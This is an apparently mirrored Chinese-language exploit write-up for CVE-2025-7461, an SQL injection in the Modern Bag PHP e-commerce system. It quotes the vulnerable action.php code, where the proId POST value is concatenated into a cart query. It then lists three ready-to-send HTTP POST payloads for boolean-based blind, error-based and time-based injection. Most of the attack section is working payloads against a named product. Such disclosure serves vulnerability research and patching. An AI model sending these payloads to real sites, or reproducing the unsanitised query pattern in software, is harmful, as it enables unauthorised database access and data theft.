Exploit for CVE-2025-7461

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BX33661-CVE-2025-7461
# Modern Bag 电商系统 SQL 注入漏洞分析 (CVE-2025-7461)

🌐 **Language / 语言** : English | **简体中文**

* * *

## 漏洞概览

漏洞库： https://vuldb.com/?id.316112

项目地址： https://code-projects.org/modern-bag-in-php-css-javascript-and-mysql-free-download/

项目| 内容  
---|---  
**产品名称**|  Modern Bag 电商系统  
**版本**|  V1.0  
**漏洞类型**|  SQL 注入 (Boolean-based blind, Error-based, Time-based blind)  
**受影响文件**| `/action.php`  
**危险等级**|  中危  
**CVSS 3.1 评分**| **6.9**  
  
## 漏洞详细分析

### 漏洞位置

**主要漏洞点：** `action.php` 第 272-289 行

root@kitploit:~
    
    
    // 漏洞点
    if (isset($_POST["addToProduct"])) {
        if (isset($_SESSION["uid"])) {
            $p_id = $_POST["proId"];  // 直接获取用户输入
            $user_id = $_SESSION["uid"];
            
            // 直接拼接到 SQL 查询中，未进行任何过滤
            $sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
            $run_query = mysqli_query($con, $sql);
            $count = mysqli_num_rows($run_query);
            // ... 后续代码
        }
    }
    

### 🔬 漏洞成因分析

#### **缺乏输入验证**

root@kitploit:~
    
    
    $p_id = $_POST["proId"]; 
    

#### **字符串拼接构造 SQL**

root@kitploit:~
    
    
    $sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
    

#### **缺乏错误处理**

root@kitploit:~
    
    
    $run_query = mysqli_query($con, $sql)
        or die(mysqli_error($con));  // ❌ 直接暴露数据库错误
    

## 攻击分析

#### 1\. **Boolean-based Blind SQL 注入**

root@kitploit:~
    
    
    POST /action.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    addToProduct=1&proId=1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr
    

**攻击原理：**

root@kitploit:~
    
    
    -- 构造的 SQL 查询
    SELECT * FROM cart WHERE p_id = '1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr' AND user_id = '1'
    
    -- 实际执行的查询
    SELECT * FROM cart WHERE p_id = '1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr
    

#### 2\. **Error-based SQL 注入**

root@kitploit:~
    
    
    POST /action.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    addToProduct=1&proId=1' OR (SELECT 7784 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SELECT (ELT(7784=7784,1))),0x717a6b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yVDw
    

#### 3\. **Time-based Blind SQL 注入**

root@kitploit:~
    
    
    POST /action.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    addToProduct=1&proId=1' AND (SELECT 9674 FROM (SELECT(SLEEP(5)))YLuC)-- ZZFJ